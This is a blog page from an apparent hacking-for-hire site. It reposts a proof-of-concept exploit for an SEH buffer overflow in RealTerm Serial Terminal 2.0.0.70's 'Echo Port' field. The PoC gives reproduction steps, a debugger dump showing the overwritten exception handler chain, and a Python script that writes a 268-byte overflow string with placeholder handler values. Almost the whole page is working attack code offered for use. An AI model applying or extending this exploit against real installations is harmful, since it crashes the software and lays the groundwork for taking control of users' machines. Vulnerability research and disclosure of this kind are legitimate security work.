Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86370505

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# -*- coding: utf-8 -*-
# Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Echo Port' Overflow Crash (SEH) (PoC)
# Date: 16/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://realterm.sourceforge.io/
# Software Link: https://sourceforge.net/projects/realterm/files/ 
# Version: 2.0.0.70
# Tested on: Windows 10 / Windows XP 


# Proof of Concept:
# 1.- Run the python script "EchoPort.py", it will create a new file "EchoPort.txt"
# 2.- Copy the content of the new file 'EchoPort.txt' to clipboard
# 3.- Open realterm.exe 
# 4.- Go to 'Echo Port' tab
# 5.- Paste clipboard in 'Port' field
# 6.- Click on button -> Change
# 7.- Check 'Echo On' or 
# 8.- Crashed

# After the execution of POC, the SEH chain looks like this: 
# 0012F57C   43434343
# 42424242 *** CORRUPT ENTRY ***

# And the Stack

#0012F568   41414141  AAAA
#0012F56C   41414141  AAAA
#0012F570   41414141  AAAA
#0012F574   41414141  AAAA
#0012F578   42424242  BBBB  Pointer to next SEH record
#0012F57C   43434343  CCCC  SE handler


buffer = "\x41" * 268 
nseh = "\x42" * 4
seh = "\x43" * 4
f = open ("EchoPort.txt", "w")
f.write(buffer+nseh+seh)
f.close()